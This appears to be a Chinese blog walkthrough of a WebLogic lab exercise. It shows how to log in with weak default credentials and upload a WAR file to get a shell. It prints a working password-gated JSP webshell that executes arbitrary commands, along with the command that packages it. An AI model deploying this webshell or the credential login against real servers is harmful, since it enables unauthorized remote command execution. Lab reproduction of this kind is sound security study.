首页 > 系统相关 >weblogic 后台弱密码上传war包getshell 漏洞复现

weblogic 后台弱密码上传war包getshell 漏洞复现

时间:2024-04-10 11:24:20浏览次数:17  
标签:getshell 密码 漏洞 weblogic jsp 上传 war

漏洞描述

Oracle WebLogic Server是Oracle 公司目前开发的Java EE 应用服务器,类似于tomcat

tomcat中存在后台上传war包getshell漏洞,同样weblogic服务也存在该漏洞,通常weblogic有以下特征

  • 默认端口为:7001
  • 特有的报错回显
  • 后台目录为/console/login/LoginForm.jsp

后台默认密码为用户名密码为weblogic,也有一些常用的弱密码访问https://cirt.net/passwords?criteria=weblogic查看

漏洞复习

使用vulhub来复现该漏洞,vulhub中该环境的用户名为weblogic密码为Oracle@123

cd vulhub/weblogic/weak_password
sudo docker-compose up -d

启动后访问7001端口默认404报错页面

访问/console/login/LoginForm.jsp目录使用用户名和密码登录,登录成功后点击部署

点击安装,选择本地文件,然后一直下一步完成,中间可能要设置项目名称,就是需要访问的目录的名称,如果不设置默认就是上传war文件的文件名
jsp木马有很多类型,这里我们手动封装一个

<%
    if ("ocean".equals(request.getParameter("pwd"))) {
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while ((a = in.read(b)) != -1) {
            out.print(new String(b));
        }
        out.print("</pre>");
    }

%>

打包为war文件

jar cvf test.war test.jsp

上传war文件



项目已经部署完成了,这时只需要访问就可以执行命令,注意连接的密码为ocean

成功利用

这里有很多的思路,例如直接上传webshell,使用连接工具连接

也可以直接上传reverse-shell代码,获得一个shell

实验结束。

标签:getshell,密码,漏洞,weblogic,jsp,上传,war
From: https://www.cnblogs.com/Junglezt/p/18125656

相关文章

  • [Vue warn]: Do not use built-in or reserved HTML elements as component id: line
    [Vuewarn]:Donotusebuilt-inorreservedHTMLelementsascomponentid:line这个报错是Vue警告不要使用内置的或者保留的HTML元素作为组件的id。在Vue中,组件的id应该是唯一的,并且不应该与HTML元素的标签名相同。比如说,如果有一个组件定义如下:<template><......
  • 安装VMware ESXi虚拟机系统
    简介:ESXi是VMware公司开发的一款服务器虚拟化操作系统。它能够在一台物理服务器上运行多个虚拟机,每个虚拟机都可以独立运行操作系统和应用程序,而且对硬件配置要求低,系统运行稳定。   准备工具:1.8G或者8G以上容量U盘一个,使用前请备份U盘数据,写入镜像会清空U内盘数据。2.下载适......
  • vmware虚拟机重置ubuntu系统密码
    1.虚拟机重启过程中同时长按shift键,跳出下面界面 2.按键盘e键,到下面页面 3.把红框中的代码改为rwinit=/bin/bash,然后按F10键到下图 4.输入passwd用户名然后enter,一次输入两次密码,会有如下的提示,表示更新密码成功,如下图 然后重启即可,用新密码进入系统 ......
  • VMware下CentOS7.6安装openGauss
    VMware下CentOS7.6(7.9)安装openGausscentos安装这里我使用的是vmwareworkstationPro15虽然官网了解了一下openGauss最适合的centos版本为centos7.6但是因为centos7.6版本已经停更,所以我这里下载的是7.9版本的镜像文件下载完成后打开vmware,创建新的虚拟机......
  • springboot本地打war包
    1、pom.xml修改图里标注的①②,新增③,图片下面有我打包的pom.xml大家可以参考<?xmlversion="1.0"encoding="UTF-8"?><projectxmlns="http://maven.apache.org/POM/4.0.0"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:s......
  • tomcat弱口令后台getshell漏洞复现
    漏洞描述tomcat是一个用于快速部署jsp网站的中间件tomcat默认的管理页面manager使用basic认证用户名密码登录,可以使用burp进行爆破,并且一般安装后如果不修改/conf/tomcat-users.xml文件中的默认用户名密码tomcat:tomcat,可以登录管理后台,在部署war包后tomcat默认会将war包中的......
  • Transformer模型-Feed Forward前馈网络和Relu激活函数的简明介绍
     今天介绍transformer模型的FeedForwardnetwork前馈网络和Relu激活函数背景位置感知Position-Wise前馈网络(FFN)由两个全连接层(fullyconnecteddenselayers,就是线性层(LinearLayer),或密集层(DenseLayer))组成,或者也可以称为多层感知机(MLP:multi-layerperceptron)。 参见:Tr......
  • software pj2
    题目要求:题目(1):最大连续子数组和(最大子段和)背景问题:给定n个整数(可能为负数)组成的序列a[1],a[2],a[3],…,a[n],求该序列如a[i]+a[i+1]+…+a[j]的子段和的最大值。当所给的整数均为负数时定义子段和为0,依此定义,所求的最优值为:Max{0,a[i]+a[i+1]+…+a[j]},1<=i<=j<=n例如,当(a[......
  • Win11中安装虚拟化软件VMware,以及Linux虚拟机的详细安装配置
    文章目录前言安装VMwareWorkstationPro安装注意事项确认服务正常开启确认虚拟网络正常确认虚拟网卡使用VM新建Linux虚拟机新建虚拟机向导开启虚拟机后电脑蓝屏(可能)安装Linux虚拟机登录虚拟机前言记录时间[2024-4-7]本文讲述如何在Win11中安装虚拟化软......
  • Mysql数据库getshell方法
    今天摸鱼时候,突然有人问我不同的数据库getshell的方式,一时间我想到了mysql还有redis未授权访问到getshell的方式,但是仅仅第一时间只想到了这两种,我有查了查资料,找到了上面两种数据库getshell的补充,以及其他数据库getshell的方式。因此更新一个专栏,各个数据库getshell的方式。......